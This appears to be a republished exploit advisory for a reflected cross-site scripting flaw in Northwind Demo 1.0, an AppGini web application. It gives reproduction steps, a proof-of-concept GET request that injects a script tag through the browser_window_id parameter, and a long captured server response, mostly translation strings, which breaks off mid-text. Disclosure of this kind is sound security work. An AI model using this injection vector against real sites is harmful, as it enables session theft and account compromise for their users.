Exploit/Advisories no image

Published on June 7th, 2024 📆 | 7228 Views ⚑

0

Northwind Demo 1.0 Cross Site Scripting – Torchsec


iSpeech.org

# Exploit Title: Northwind, company operations database - Cross-Site Scripting (Reflected)
# Date: 04.06.2024
# Exploit Author: Furkan Eren Tetik
# Vendor Homepage: https://bigprof.com/appgini/free-open-source-web-applications
# Software Link: https://github.com/bigprof-software/northwind-demo
# Version: 1.0
# Tested on: Windows 11, Kali Linux
# Northwind, company operations database page can be attacked with xss with a simple script
# https://www.linkedin.com/in/furkanerentetik/

Steps To Reproduce:
1 - Go to the login page http:///fetuygulama/app/customers_view.php
2 - Add new record payload=browser_window_id=.......%22%3e%3cscript%3ealert(1)%3c%2fscript%3e........
3 - Enter on url alert warning appears.

PoC

Request

GET /fetuygulama/app/customers_view.php?record-added-ok=76371387&SortField=&SortDirection=&FirstRecord=1&DisplayRecords=all&SearchString=&SelectedID=3&browser_window_id=0d76e64e70f5%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E0d76e64e70f5 HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: Northwind=52149sofrm6k5359nuun3h1514; displayDemoTools=on; demoInfoShownBefore=yes; compactMode=true
Connection: close

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Response

HTTP/1.1 200 OK
Date: Tue, 04 Jun 2024 14:34:48 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 112205






Northwind | Customers













/* translation strings */
AppGini.Translate = {
_map: {
"ImageFolder": ".\/images\/",
"membership management": "Membership Management",
"password mismatch": "Password doesn't match.",
"error": "Error",
"invalid email": "Invalid Email Address",
"sending mails": "Sending mails might take some time. Please don't close this page until you see the 'Done' message.",
"complete step 4": "Please complete step 4 by selecting the member you want to transfer records to.",
"info": "Info",
"sure move member": "Are you sure you want to move member '' and his data from group '' to group ''?",
"sure move data of member": "Are you sure you want to move data of member '' from group '' to member '' from group ''?",
"sure move all members": "Are you sure you want to move all members and data from group '' to group ''?",
"sure move data of all members": "Are you sure you want to move data of all members of group '' to member '' from group ''?",
"toggle navigation": "Toggle navigation",
"admin area": "Admin Area",
"groups": "Groups",
"view groups": "View Groups",
"add group": "Add Group",
"edit anonymous permissions": "Edit Anonymous Permissions",
"members": "Members",
"view members": "View Members",
"add member": "Add Member",
"view members' records": "View Members' Records",
"utilities": "Utilities",
"admin settings": "Admin Settings",
"rebuild thumbnails": "Rebuild thumbnails",
"rebuild fields": "You could try fixing this issue from the Admin Area : Utilities menu : View\/Rebuild Fields.",
"import CSV": "Import CSV data",
"batch transfer": "Batch Transfer Wizard",
"mail all users": "Mail All Users",
"AppGini forum": "AppGini Community Forum",
"user's area": "User's area",
"sign out": "Sign Out",
"attention": "Attention!",
"security risk admin": "You are using the default admin username and password. This is a huge security risk. Please change at least the admin password from the Admin Settings<\/a> page immediately<\/em>.",
"security risk": "You are using the default admin password. This is a huge security risk. Please change the admin password from the
Admin Settings<\/a> page immediately<\/em>.",
"plugins": "Plugins",
"assigned table records to group": "Assigned records of table '

' to group ''",
"assigned table records to group and member": "Assigned records of table '

' to group '' , member ''",
"data ownership assign": "Assign ownership to data that has no owners",
"records ownership done": "All records in all tables have owners now.
Back to Admin homepage<\/a>.",
"select group": "Select group",
"data ownership": "Sometimes, you might have tables with data that were entered before implementing this AppGini membership management system, or entered using other applications unaware of AppGini ownership system. This data currently has no owners. This page allows you to assign owner groups and owner members to this data.",
"table": "Table",
"records with no owners": "Records with no owners",
"new owner group": "New owner group",
"new owner member": "New owner member*",
"cancel": "Cancel",
"assign new owners": "Assign new owners",
"please wait": "Please wait",
"if no owner member assigned": "* If you assign no owner member here, you can still use the
Batch Transfer Wizard<\/a> later to do so.",
"can not delete group remove members": "Can't delete this group. Please remove members first.",
"can not delete group transfer records": "Can't delete this group. Please transfer its data records to another group first..",
"group exists error": "Error: Group name already exists. You must choose a unique group name.",
"group not found error": "Error: Group not found!",
"edit group": "Edit Group ''",
"add new group": "Add New Group",
"anonymous group attention": "Attention! This is the anonymous group.",
"show tool tips": "Show tool tips as mouse moves over options",
"group name": "Group name",
"readonly group name": "The name of the anonymous group is read-only here.",
"anonymous group name": "If you name the group '', it will be considered the anonymous group
that defines the permissions of guest visitors that do not log into the system.",
"description": "Description",
"allow visitors sign up": "Allow visitors to sign up?",
"admin add users": "No. Only the admin can add users.",
"admin approve users": "Yes, and the admin must approve them.",
"automatically approve users": "Yes, and automatically approve them.",
"group table permissions": "Table permissions for this group",
"no": "No",
"owner": "Owner",
"group": "Group",
"all": "All",
"insert": "Insert",
"view": "View",
"edit": "Edit",
"delete": "Delete",
"save changes": "Save changes",
"username error": "Error: Username already exists or is invalid. Make sure you provide a username containing 4 to 20 valid characters.",
"member not found": "Error: Member not found!",
"user has special permissions": "This user has special permissions that override his group permissions.",
"user has group permissions": "This user inherits the
\">permissions of his group<\/a>.",
"set user special permissions": "Set special permissions for this user",
"sure continue": "If you made any changes to this member and did not save them yet, they will be lost if you continue. Are you sure you want to continue?",
"edit member": "Edit Member ",
"add new member": "Add New Member",
"anonymous guest member": "Attention! This is the anonymous (guest) member.",
"admin member": "Attention! This is the admin member. You can't change the username, password or email of this member here, but you can do so in the
admin settings<\/a> page.",
"member username": "Member username",
"check availability": "Check if this username is available",
"read only username": "The username of the guest member is read-only.",
"password": "Password",
"change password": "Type a password only if you want to change this member's
password. Otherwise, leave this field empty.",
"confirm password": "Confirm Password",
"email": "Email Address",
"approved": "Approved?",
"banned": "Banned?",
"comments": "Comments",
"back to members": "Back to members",
"member added": "Member added successfully",
"member permissions saved": "Member permissions have been saved successfully.",
"member permissions reset": "Member permissions have been reset to the same as his group.",
"user table permissions": "Table permissions for user
<\/a> of group <\/a>",
"no member permissions": "This member doesn't currently have any special permissions. This list shows the permissions of his group.",
"reset member permissions": "Reset member permissions",
"remove special permissions": "This would remove all special permissions of this user and he will have the same permissions as his group. Are you sure you want to do that?",
"invalid table": "Invalid table.",
"invalid primary key": "Invalid primary key value",
"record not found": "Record not found ... if it was imported externally, try assigning an owner from the admin area.",
"invalid username": "Invalid username",
"record not found error": "Error: Record not found!",
"edit Record Ownership": "Edit Record Ownership",
"owner group": "Owner group",
"view all records by group": "View all records by this group",
"owner member": "Owner member",
"view all records by member": "View all records by this member",
"switch record ownership": "If you want to switch ownership of this record to a member of another group, you must change the owner group and save changes first.",
"record created on": "Record created on",
"record modified on": "Record modified on",
"view all records of table": "View all records of this table",
"record data": "Record data",
"print": "Print",
"could not retrieve field list": "Couldn't retrieve field list from ''",
"field name": "Field name",
"value": "Value",
"visitor sign up": "
Visitor sign up<\/a> is disabled because there are no groups where visitors can sign up currently. To enable visitor sign-up, set at least one group to allow visitor sign-up.",
"table data without owner": "You have data in one or more tables that doesn't have an owner. To assign an owner group for this data,
click here<\/a>.",
"membership management homepage": "Membership Management Homepage",
"newest updates": "Newest Updates",
"view record details": "View record details",
"newest entries": "Newest Entries",
"available add-ons": "Available add-ons",
"more info": "More info",
"close": "Close",
"view add-ons": "View all add-ons",
"top members": "Top Members",
"edit member details": "Edit member details",
"view member records": "View member's data records",
"records": "records",
"members stats": "Members Stats",
"total groups": "Total groups",
"active members": "Active members",
"view active members": "View active members",
"members awaiting approval": "Members awaiting approval",
"view members awaiting approval": "View members awaiting approval",
"banned members": "Banned members",
"view banned members": "View banned members",
"total members": "Total members",
"view all members": "View all members",
"BigProf tweets": "Tweets By BigProf Software",
"follow BigProf": "Follow @bigprof",
"loading bigprof feed": "Loading @bigprof feed ...",
"remove feed": "Remove this feed",
"can not send mail": "You can not send emails currently. The configured sender email address is not valid. Please
correct it first<\/a> then try again.",
"all groups": "All groups",
"no recipient": "Couldn't find recipient. Please make sure you provide a valid recipient.",
"invalid subject line": "Invalid subject line.",
"no recipient found": "Couldn't find any recipients. Please make sure you provide a valid recipient.",
"mail queue not saved": "Couldn't save mail queue. Please make sure the directory '' is writeable (chmod 755 or chmod 777).",
"send mail": "Send mail message to a member\/group",
"send mail to all members": "You are sending an email to all members. This could take a lot of time and affect your server performance. If you have a huge number of members, we don't recommend sending an email to all of them at once.",
"from": "From",
"change setting": "Change this setting",
"to": "To",
"subject": "Subject",
"message": "Message",
"send message": "Send Message",
"record details": "Membership Management -- Record details",
"table name": "Table: ",
"create or update table": "An attempt to the field <\/i> in

<\/i> table was made by executing this query:

<\/pre> Results are shown below.",
"view or rebuild fields": "View\/Rebuild fields",
"show deviations only": "Show deviations only",
"show all fields": "Show all fields",
"compare tables page": "This page compares the tables and fields structure\/schema as designed in AppGini to the actual database structure and allows you to fix any deviations.",
"field": "Field",
"AppGini definition": "AppGini definition",
"database definition": "Current definition in the database",
"table name title": " table",
"does not exist": "Doesn't exist!",
"create field": "Create the field by running an ADD COLUMN query.",
"create it": "Create it",
"fix field": "Fix the field by running an ALTER COLUMN query so that its definition becomes the same as that in AppGini.",
"fix it": "Fix it",
"field update warning": "DANGER!! In some cases, this might lead to data loss, truncation, or corruption. It might be a better idea sometimes to update the field in AppGini to match that in the database. Would you still like to continue?",
"no deviations found": "No deviations found. All fields OK!",
"error fields": "Found non-existing fields that need to be created.
Found deviating fields that might need to be updated.",
"thumbnails utility": "Use this utility if you have one or more image fields in a table that don't have thumbnails or have thumbnails with incorrect dimensions.",
"rebuild thumbnails of table": "Rebuild thumbnails of table",
"rebuild": "Rebuild",
"rebuild thumbnails of table_name": "Rebuilding thumbnails of '<\/i>' table ...",
"do not close page message": "Don't close this page until you see a confirmation message that all thumbnails have been built.",
"rebuild thumbnails status": "Status: still rebuilding thumbnails, please wait ...",
"building field thumbnails": "Building thumbnails for '<\/i>' field...",
"done": "Done.",
"finished status": "Status: finished. You can close this page now.",
"invalid mail queue": "Invalid mail queue.",
"sending message failed": " -- Sending message to '': Failed.",
"sending message ok": " -- Sending message to '
': Ok.",
"done!": "Done!",
"close page": "You may close this page now or browse to some other page.",
"mail log": "Mail log:",
"invalid security token": "Invalid security token! Please
reload the page<\/a> and try again.",
"unique admin username error": "The new admin username is already taken by another member. Please make sure the new admin username is unique.",
"unique anonymous username error": "The new anonymous username is already taken by another member. Please make sure the username provided is unique.",
"unique anonymous group name error": "The new anonymous group name is already in use by another group. Please make sure the group name provided is unique.",
"admin password mismatch": "\"Admin password\" and \"Confirm password\" don't match.",
"invalid sender email": "Invalid \"Sender email\".",
"errors occurred": "The following errors occurred:",
"go back": "Please
go back<\/a> to correct the above error(s) and try again.",
"record updated automatically": "Record updated automatically on ",
"admin settings saved": "Admin settings saved successfully.
Back to
Admin settings<\/a>.",
"admin settings not saved": "Admin settings were NOT saved successfully. Failure reason:
Back to
Admin settings<\/a>.",
"admin username": "Admin username",
"admin password": "Admin password",
"change admin password": "Type a password only if you want to change the admin password.",
"sender email": "Sender email",
"sender name and email": "Sender name and email are used in the 'To' field when sending",
"email messages": "email messages to groups or members.",
"admin notifications": "Admin notifications",
"no email notifications": "No email notifications to admin.",
"member waiting approval": "Notify admin only when a new member is waiting for approval.",
"new sign-ups": "Notify admin for all new sign-ups.",
"sender name": "Sender name",
"members custom field 1": "Members custom field 1",
"members custom field 2": "Members custom field 2",
"members custom field 3": "Members custom field 3",
"members custom field 4": "Members custom field 4",
"member approval email subject": "Member approval
email subject",
"member approval email subject control": "When the admin approves a member, the member is notified by
email that he is approved. You can control the subject of the
approval email in this box, and the content in the box below.",
"member approval email message": "Member approval
email message",
"MySQL date": "MySQL date
formatting string",
"MySQL reference": "Please refer to
the MySQL reference<\/a> for possible formats.",
"PHP short date": "PHP short date
formatting string",
"PHP manual": "Please refer to
the PHP manual<\/a> for possible formats.",
"PHP long date": "PHP long date
formatting string",
"groups per page": "Groups per page",
"members per page": "Members per page",
"records per page": "Records per page",
"default sign-up mode": "Default sign-up mode
for new groups",
"no sign-up allowed": "No sign-up allowed. Only the admin can add members.",
"admin approve members": "Sign-up allowed, but the admin must approve members.",
"automatically approve members": "Sign-up allowed, and automatically approve members.",
"anonymous group": "Name of the anonymous
group",
"anonymous user name": "Name of the anonymous
user",
"hide twitter feed": "Hide Twitter feed in admin homepage?",
"twitter feed": "Our Twitter feed helps keep you informed of our latest news, useful resources, new releases, and many other helpful tips.",
"invalid source member": "Invalid source member selected.",
"invalid destination member": "Invalid destination member selected.",
"moving member": "Moving member '' and his data from group '' to group '' ...",
"data records transferred": "Member '' now belongs to group ''. Data records transferred: .",
"moving data": "Moving data of member '' from group '' to member '' from group '' ...",
"member records status": "Member '' of group '' had data records. to member '' of group ''.",
"moving all group members": "Moving all members and data of group '' to group '' ...",
"failed transferring group members": "Operation failed. No members were transferred from group '' to ''.",
"group members transferred": "All members of group '' now belong to ''. ",
"failed transfer data records": "However, data records failed to transfer.",
"data records were transferred": " data records were transferred.",
"moving group data to member": "Moving data of all members of group '' to member '' from group '' ...",
"moving group data to member status": " record(s) were transferred from group '' to member '' of group ''",
"status": "STATUS:",
"batch transfer link": "To repeat the same batch transfer again later you can
&sourceMemberID=&destinationGroupID=&destinationMemberID=&moveMembers=\">bookmark or copy this link<\/a>.",
"ownership batch transfer": "Batch Transfer Of Ownership",
"step 1": "STEP 1:",
"batch transfer wizard": "The batch transfer wizard allows you to transfer data records of one or all members of a group (the source group<\/i>) to a member of another group (the destination member<\/i> of the destination group<\/i>)",
"source group": "Source group",
"update": "Update",
"next step": "Next Step",
"group statistics": "This group has members, and data records.",
"step 2": "STEP 2:",
"source member message": "The source member could be one member or all members of the source group.",
"source member": "Source member",
"all group members": "All members of ''",
"member statistics": "This member has data records.",
"step 3": "STEP 3:",
"destination group message": "The destination group could be the same or different from the source group. Only groups that have members are listed below.",
"destination group": "Destination group",
"step 4": "STEP 4:",
"destination member message": "The destination member will be the new owner of the data records of the source member.",
"destination member": "Destination member",
"begin transfer": "Begin Transfer",
"move records": "You could either move records from the source member(s) to a member in the destination group, or move the source member(s), together with their data records to the destination group.",
"move data records to member": "Move data records to this member:",
"move source member to group": "Move source member(s) and all his\/their data records to the '' group.",
"file not found error": "Error: File '' not found.",
"preview and confirm CSV data": "Preview and confirm CSV data",
"display csv file rows": "Displaying the first 10 rows of the CSV file ...",
"change CSV settings": "Change CSV settings",
"import CSV data": "Confirm and import CSV data >",
"apply CSV settings": "Apply CSV Settings",
"importing CSV data": "Importing CSV data ...",
"start at estimated record": "Starting at record of total estimated records ...",
"table backed up": "Table '
' backed up as ''.",
"table backup not done": "Table '
' is empty, so no backup was done.",
"importing batch": "Importing batch of : ",
"ok": "Ok",
"records inserted or updated successfully": " records inserted\/updated in seconds.",
"mission accomplished": "Mission accomplished!",
"assign a records owner": "Assign an owner to the imported records >",
"please wait and do not close": "Please wait and don't close this page ...",
"hide advanced options": "Hide advanced options",
"show advanced options": "Show advanced options",
"import CSV to database": "Import a CSV file to the database",
"import CSV to database page": "This page allows you to upload a CSV file (for example, one generated from MS Excel) and import it to one of the tables of the database. This makes it so easy to bulk-populate the database with data from other sources rather than manually entering every single record.",
"populate table from CSV": "This is the table that you want to populate with data from the CSV file.",
"CSV file": "CSV file",
"preview CSV data": "Preview CSV data >",
"no table name provided": "No table name provided.",
"can not open CSV": "Can't open csv file ''.",
"empty CSV file": "The csv file '
' is empty.",
"no CSV file data": "The csv file '
' has no data to read.",
"field separator": "Field separator",
"default comma": "The default is comma (,)",
"field delimiter": "Field delimiter",
"default double-quote": "The default is double-quote (\")",
"maximum characters per line": "Maximum characters per line",
"trouble importing CSV": "If you have trouble importing the CSV file, try increasing this value.",
"ignore lines number": "Number of lines to ignore",
"skip lines number": "Change this value if you want to skip a specific number of lines in the CSV file.",
"first line field names": "The first line of the file contains field names",
"field names must match": "Field names must exactly<\/b> match those in the database.",
"update table records": "Update matching table records (using primary key).",
"ignore CSV table records": "If not checked, records in the CSV file having the same primary key values as those in the table
will be ignored<\/b>",
"back up the table": "Back up the table before importing CSV data into it.",
"no matching results found": "No matching results found.",
"search groups": "Search groups",
"find": "Find",
"reset": "Reset",
"members count": "Members count",
"Edit group": "Edit group",
"confirm delete group": "Are you sure you want to completely delete this group?",
"delete group": "Delete group",
"view group records": "View group records",
"view group members": "View group members",
"send message to group": "Send message to group",
"previous": "Previous",
"displaying groups": "Displaying groups to of ",
"next": "Next",
"key": "Key:",
"edit group details": "Edit group details and permissions.",
"add member to group": "Add a new member to group.",
"view data records": "View all data records entered by the group's members.",
"list group members": "List all members of a group.",
"send email to all members": "Send an email message to all members of a group.",
"search members": "Search members in ",
"all fields": "All fields",
"any": "Any",
"waiting approval": "Waiting approval",
"active": "Active",
"Banned": "Banned",
"username": "Username",
"sign up date": "Sign up date",
"Status": "Status",
"Edit member": "Edit member",
"sure delete user": "Are you sure you want to delete user ''?",
"delete member": "Delete member",
"approve this member": "Approve this member",
"unban this member": "Unban this member",
"ban this member": "Ban this member",
"View member records": "View member's records",
"send message to member": "Send message to member",
"displaying members": "Displaying members to of ",
"activate member": "Activate new\/banned member.",
"ban member": "Ban (suspend) member.",
"view entered member records": "View all data records entered by member.",
"send email to member": "Send an email message to member.",
"data records": "Data Records",
"show records": "Show records from",
"all tables": "All tables",
"sort records": "Sort records by",
"date created": "Date created",
"date modified": "Date modified",
"newer first": "Newer first",
"older first": "Older first",
"created": "Created",
"modified": "Modified",
"data": "Data",
"change record ownership": "Change ownership of this record",
"sure delete record": "Are you sure you want to delete this record?",
"delete record": "Delete record",
"displaying records": "Displaying records to of ",
"maintenance mode admin notification": "Maintenance mode is enabled! You can disable it from the admin home page.",
"maintenance mode message": "Maintenance mode message",
"maintenance mode": "Maintenance mode",
"OFF": "OFF",
"ON": "ON",
"enable maintenance mode?": "Are you sure you want to enable maintenance mode? Only admin users can access the site in this mode!",
"disable maintenance mode?": "Are you sure you want to disable maintenance mode? All users will be able to access the site!",
"csv file upload error": "An error occurred while processing the requested CSV file.",
"back and retry": "Go back and retry",
"upload or choose csv file": "Upload a CSV file or open an existing one",
"choose csv upload": "Choose a CSV file to upload",
"no file chosen yet": "No file chosen yet",
"start upload": "Start upload",
"select a table": "Select a table",
"error reading csv data": "An error occurred while reading CSV data. Try resetting\/adjusting the CSV settings.",
"belongs to": "Belongs to",
"skip column": "Skip this column",
"connection failed retrying": "Connection failed. Retrying in seconds ...",
"connection failed timeout": "Connection timed out. Retry later.",
"sure delete csv": "Are you sure you want to delete the CSV file [CSVFILE] from the server?",
"invalid csv file selected": "Invalid file chosen. Must be a CSV file.",
"couldnt delete csv file": "Couldn't delete this CSV file.",
"error backing up table": "Error: Couldn't back up table
.",
"no columns selected": "Please select at least one column to import and make sure each selected column belongs to a UNIQUE field.",
"csrf token expired or invalid": "Oops! Something went wrong with this page. Please go back and retry.",
"back to groups": "Back to groups",
"member updated": "Member updated successfully",
"fix errors before submitting": "Please fix the highlighted errors before submitting the page!",
"mail_function": "Method of sending emails",
"smtp_server": "SMTP server",
"smtp_encryption": "SMTP encryption",
"smtp_port": "SMTP port",
"smtp_port_hint": "Typical values are 25 (for non-encrypted SMTP), 465 (used in many cases with SSL encryption) or 587 (typical with TLS encryption)",
"smtp_user": "SMTP username",
"smtp_pass": "SMTP password",
"configure mail settings": "Configure mail settings",
"display debugging info": "Display debugging info",
"debugging info hint": "Debugging info is useful if you are having trouble sending emails through the configured SMTP server",
"create backup file": "Create Backup File",
"database backups": "Database backups",
"no backups found": "No backups found. You can create a new backup by clicking the \"Create Backup File\" button.",
"available backups": "Available backups",
"restore backup": "Restore",
"delete backup": "Delete",
"backup restored": "Backup restored successfully.",
"backup deleted": "Backup deleted successfully.",
"restore error": "An error occurred while restoring backup.",
"backup delete error": "An error occurred while deleting backup.",
"confirm delete backup": "Are you sure you want to delete this backup file?",
"confirm restore": "Restoring your database from a backup file would OVERWRITE all existing data AND users\/passwords, reverting all to the state when the backup was taken.\\n\\nDuring the restore process, maintenance mode will be enabled to prevent users from modifying the database, and will be disabled once the restore is finished.\\n\\nAre you sure you want to continue?",
"confirm backup": "During the backup process, maintenance mode will be enabled to prevent users from modifying the database, and will be disabled once the backup is finished.\\n\\nAre you sure you want to continue?",
"cant create backup folder": "Error: Can't create or write to admin\/backups folder. Please check your folder permissions and ownership or contact your server administrator for help.",
"fix all": "FIX ALL FIELDS",
"backup before fix": "It's highly recommended that you create a database backup first before attempting to make any fixes here.",
"about backups": "Backups are performed using mysqldump commandline tool. If no backups are being created, it could be due to the web server not having permission to run mysqldump.",
"server status disabled": "Server status is disabled on this application. To enable it, regenerate the application with the option \"Allow server status in admin area\" turned on.",
"server status": "Server status",
"db status": "Database status",
"generated by": "This application was generated by AppGini on .",
"column table name": "Table name",
"db storage": "Database storage",
"column size kb": "Size (KB)",
"total": "Total",
"php info": "PHP info",
"files": "files",
"uploads info": "Uploads info",
"quick search": "Quick Search",
"records x to y of z": "Records to of ",
"filters": "Filters",
"filter": "Filter",
"filtered field": "Filtered field",
"comparison operator": "Comparison Operator",
"comparison value": "Comparison Value",
"and": "And",
"or": "Or",
"equal to": "Equal to",
"not equal to": "Not equal to",
"greater than": "Greater than",
"greater than or equal to": "Greater than or equal to",
"less than": "Less than",
"less than or equal to": "Less than or equal to",
"like": "Like",
"not like": "Not like",
"is empty": "Is empty",
"is not empty": "Is not empty",
"apply filters": "Apply filters",
"save filters": "Save and apply filters",
"saved filters title": "HTML Code For The Applied Filters",
"saved filters instructions": "Copy the code below and paste it to an HTML file to save the filter you just defined so that you can return to it at any time in the future without having to redefine it. You can save this HTML code on your computer or on any server and access this prefiltered table view through it.",
"hide code": "Hide this code",
"printer friendly view": "Printer-friendly view",
"save as csv": "Download as csv file (comma-separated values)",
"edit filters": "Edit filters",
"clear filters": "Clear filters",
"order by": "Order by",
"go to page": "Go to page:",
"none": "None",
"Select all records": "Select all records",
"With selected records": "With selected records",
"Print Preview Detail View": "Print Preview Detail View",
"Print Preview Table View": "Print Preview Table View",
"Print": "Print",
"Cancel Printing": "Cancel Printing",
"Cancel Selection": "Cancel Selection",
"Maximum records allowed to enable this feature is": "Maximum records allowed to enable this feature is",
"No matches found!": "No matches found!",
"Start typing to get suggestions": "Start typing to get suggestions.",
"are you sure?": "Are you sure you want to delete this record?",
"add new record": "Add new record",
"update record": "Update record",
"deselect record": "Deselect record",
"couldn't delete": "Could not delete the record due to the presence of related record(s) in table []",
"confirm delete": "This record has related record(s) in table []. Do you still want to delete it?   ",
"yes": "Yes",
"pkfield empty": " field is a primary key field and cannot be empty.",
"upload image": "Upload new file ",
"select image": "Select an image ",
"remove image": "Remove file",
"month names": "January,February,March,April,May,June,July,August,September,October,November,December",
"field not null": "You cannot leave this field empty.",
"*": "*",
"today": "Today",
"Hold CTRL key to select multiple items from the above list.": "Hold CTRL key to select multiple items from the above list.",
"Save New": "Save New",
"Save As Copy": "Save As Copy",
"Deselect": "Cancel",
"Add New": "Add New",
"Delete": "Delete",
"Cancel": "Cancel",
"Print Preview": "Print Preview",
"Save Changes": "Save Changes",
"CSV": "Save CSV",
"Reset Filters": "Show All",
"Find It": "Find It",
"Previous": "Previous",
"Next": "Next",
"Back": "Back",
"homepage": "Homepage",
"error:": "Error:",
"sql error:": "SQL error:",
"query:": "Query:",
"< back": "Back",
"if you haven't set up": "If you haven't set up the database yet, you can do so by clicking
here<\/a>.",
"file too large": "Error: The file you uploaded exceeds the maximum allowed size of KB",
"invalid file type": "Error: This file type is not allowed. Only files can be uploaded",
"goto start page": "Back to start page",
"no db connection": "Couldn't establish a database connection.",
"no db name": "Couldn't access the database named '' on this server.",
"provide connection data": "Please provide the following data to connect to the database:",
"mysql server": "MySQL server (host)",
"mysql username": "MySQL Username",
"mysql password": "MySQL password",
"mysql db": "Database name",
"connect": "Connect",
"setup performed": "Setup already performed on",
"delete md5": "If you want to force setup to run again, you should first delete the file 'setup.md5' from this folder.",
"table exists": "Table <\/b> exists, containing records.",
"failed": "Failed",
"mysql said": "MySQL said:",
"table uptodate": "Table is up-to-date.",
"couldnt count": "Couldn't count records of table <\/b>",
"creating table": "Creating table <\/b> ... ",
"tableAccessDenied": "Sorry! You don't have permission to access this table. Please contact the admin.",
"not signed in": "You are not signed in",
"sign in": "Sign In",
"signed as": "Signed in as",
"admin setup needed": "Admin setup was not performed. Please log in to the
admin control panel<\/a> to perform the setup.",
"db setup needed": "Program setup was not performed yet. Please log in to the setup page<\/a> first.",
"new record saved": "The new record has been saved successfully.",
"record updated": "The changes have been saved successfully.",
"login failed": "Your previous login attempt failed. Try again.",
"sign in here": "Sign In Here",
"remember me": "Remember me",
"go to signup": "Don't have a username?
 
Sign up here<\/a>",
"forgot password": "Forgot your password?
Click here<\/a>",
"browse as guest": "
Continue browsing as a guest<\/a>",
"no table access": "You don't have enough permissions to access any page here. Please sign in first.",
"signup": "Sign up",
"user already exists": "Username '' already exists. Try another username.",
"user available": "Username '
' is available and you can take it.",
"empty user": "Please type a username in the box first then click 'Check availability'.",
"thanks": "Thank you for signing up!",
"sign in no approval": "If you have chosen a group that doesn't require admin approval, you can sign in right now
here<\/a>.",
"sign in wait approval": "If you have chosen a group that requires admin approval, please wait for an email confirming your approval.",
"username empty": "You must provide a username. Please go back and type a username",
"password invalid": "You must provide a password of 4 characters or more, without spaces. Please go back and type a valid password",
"password no match": "Password doesn't match. Please go back and correct the password",
"username exists": "Username already exists. Please go back and choose a different username.",
"email invalid": "Invalid email address. Please go back and correct your email address.",
"group invalid": "Invalid group. Please go back and correct the group selection.",
"sign up here": "Sign Up Here!",
"registered? sign in": "Already registered?
Sign in here<\/a>.",
"sign up disabled": "Sorry! Sign-up is temporarily disabled by admin. Try again later.",
"groups *": "If you choose to sign up to a group marked with an asterisk (*), you won't be able to log in until the admin approves you. You'll receive an email when you are approved.",
"sign up": "Sign Up",
"password reset": "Password Reset Page",
"password reset details": "Enter your username or email address below. We'll then send a special link to your email. After you click on that link, you'll be asked to enter a new password.",
"password reset subject": "Password reset instructions",
"password reset message": "Dear member, \n If you have requested to reset\/change your password, please click on this link: \n \n\n If you didn't request a password reset\/change, please ignore this message. \n\n Regards.",
"password reset ready": "An email with password reset instructions has been sent to your registered email address. Please follow the instructions in that email message.

If you don't receive this email within 5 minutes, try resetting your password again, and make sure you enter a correct username or email address.",
"password reset invalid": "Invalid username or password.
Try again<\/a>, or go back to homepage<\/a>.",
"password change": "Password Change Page",
"new password": "New password",
"password reset done": "Your password was changed successfully. You can
log in with the new password here<\/a>.",
"Loading ...": "Loading ...",
"No records found": "No records found",
"You can add children records after saving the main record first": "You can add child records after saving the main record first",
"ascending": "Ascending",
"descending": "Descending",
"then by": "Then by",
"Legend": "Legend",
"Table": "Table",
"Edit": "Edit",
"View": "View",
"Only your own records": "Only your own records",
"All records owned by your group": "All records owned by your group",
"All records": "All records",
"Not allowed": "Not allowed",
"Your info": "Your info",
"Hello user": "Hello %s!",
"Your access permissions": "Your access permissions",
"Update profile": "Update profile",
"Update password": "Update password",
"Change your password": "Change your password",
"Old password": "Old Password",
"Password strength: weak": "Password strength: weak",
"Password strength: good": "Password strength: good",
"Password strength: strong": "Password strength: strong",
"Wrong password": "Wrong password",
"Your profile was updated successfully": "Your profile was updated successfully",
"Your password was changed successfully": "Your password was changed successfully",
"Your IP address": "Your IP address",
"Records to display": "Records to display",
"Setup Data": "Setup Data",
"Database Information": "Database Information",
"Admin Information": "Admin Information",
"setup intro 1": "There doesn't seem to be a configuration file. This is necessary for the application to work.

This setup page will help you create that file. But in some server configurations this might not work. In that case you might need to adjust the folder permissions, or create the config file manually.",
"setup intro 2": "Welcome to your new AppGini application! Before getting started, we need some information about your database. You will need to know the following before proceeding:
  1. Database server (host)<\/li>
  2. Database name<\/li>
  3. Database username<\/li>
  4. Database password<\/li><\/ol>The above items were probably supplied to you by your web hosting provider. If you do not have this information, then you will need to contact them or refer to their service documentation before you can continue here. If you're ready, let's start!",
    "setup finished": "Success!<\/b>

    Your AppGini application has been installed. Here are some suggestions to begin using it:",
    "setup next 1": "Start using your application to add data, or work with existing data, if any.",
    "setup next 2": "Import existing data into your application from a CSV file.",
    "setup next 3": "Go to the admin homepage where you can change many other application settings.",
    "db_name help": "The name of the database you want to run your AppGini application in.",
    "db_server help": "localhost<\/i> works on most servers. If not, you should be able to get this info from your web hosting provider.",
    "db_username help": "Your MySQL username",
    "db_password help": "Your MySQL password",
    "username help": "Specify the admin username you'd like to use to access the admin area. Must be four characters or more.",
    "password help": "Specify a strong password to access the admin area.",
    "email help": "Enter the email address where you want admin notifications to be sent.",
    "Continue": "Continue ...",
    "Lets go": "Let's go!",
    "Submit": "Submit",
    "Hide": "Hide help",
    "Database info is correct": "✓ Database info is correct!",
    "Database connection error": "✗ Database connection error!",
    "The following errors occurred": "The following errors occurred",
    "failed to create config instructions": "This is most probably due to folder permissions that are set to prevent creating files by your web server. Don't worry! You can still create the config file manually.

